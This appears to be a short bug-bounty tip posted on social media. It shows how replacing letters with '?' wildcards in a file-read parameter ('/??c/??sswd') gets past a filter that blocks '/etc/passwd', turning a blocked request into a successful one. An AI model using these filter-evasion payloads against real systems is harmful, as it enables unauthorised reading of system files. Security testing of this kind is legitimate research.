LFI Trick:
/fileRead.jsp?fileName=/etc/passwd (406📛)

/fileRead.jsp?fileName=/?tc/?asswd (200✅)
/fileRead.jsp?fileName=/??c/??sswd (200✅)

#infosec #bugbountytips #websec
source: https://t.co/sYToP3mCT1 https://t.co/HD7K9SRikS